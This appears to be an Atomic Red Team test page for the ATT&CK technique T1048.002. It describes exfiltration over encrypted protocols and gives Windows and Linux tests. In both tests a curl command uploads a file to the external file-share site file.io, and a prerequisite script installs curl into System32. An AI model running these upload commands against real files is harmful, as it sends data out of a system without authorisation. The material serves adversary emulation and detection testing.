# T1048.002 - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1048/002)
<blockquote>Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. 

Asymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. 

Network protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. </blockquote>

## Atomic Tests

- [Atomic Test #1 - Exfiltrate data HTTPS using curl windows](#atomic-test-1---exfiltrate-data-https-using-curl-windows)

- [Atomic Test #2 - Exfiltrate data HTTPS using curl linux](#atomic-test-2---exfiltrate-data-https-using-curl-linux)


<br/>

## Atomic Test #1 - Exfiltrate data HTTPS using curl windows
Exfiltrate data HTTPS using curl to file share site file.io

**Supported Platforms:** Windows


**auto_generated_guid:** 1cdf2fb0-51b6-4fd8-96af-77020d5f1bf0





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Test file to upload | Path | PathToAtomicsFolder/T1048.002/src/artifact|
| curl_path | path to curl.exe | Path | C:&#92;Windows&#92;System32&#92;Curl.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
#{curl_path} -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/
```




#### Dependencies:  Run with `powershell`!
##### Description: Curl must be installed on system.
##### Check Prereq Commands:
```powershell
if (Test-Path #{curl_path}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://curl.se/windows/dl-7.79.1/curl-7.79.1-win64-mingw.zip" -Outfile $env:temp\curl.zip
Expand-Archive -Path $env:temp\curl.zip -DestinationPath $env:temp\curl
Copy-Item $env:temp\curl\curl-7.79.1-win64-mingw\bin\curl.exe C:\Windows\System32\Curl.exe
Remove-Item $env:temp\curl
Remove-Item $env:temp\curl.zip
```




<br/>
<br/>

## Atomic Test #2 - Exfiltrate data HTTPS using curl linux
Exfiltrate data HTTPS using curl to file share site file.io

**Supported Platforms:** macOS, Linux


**auto_generated_guid:** 4a4f31e2-46ea-4c26-ad89-f09ad1d5fe01





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_file | Test file to upload | Path | PathToAtomicsFolder/T1048.002/src/artifact|


#### Attack Commands: Run with `bash`! 


```bash
curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/
```






<br/>
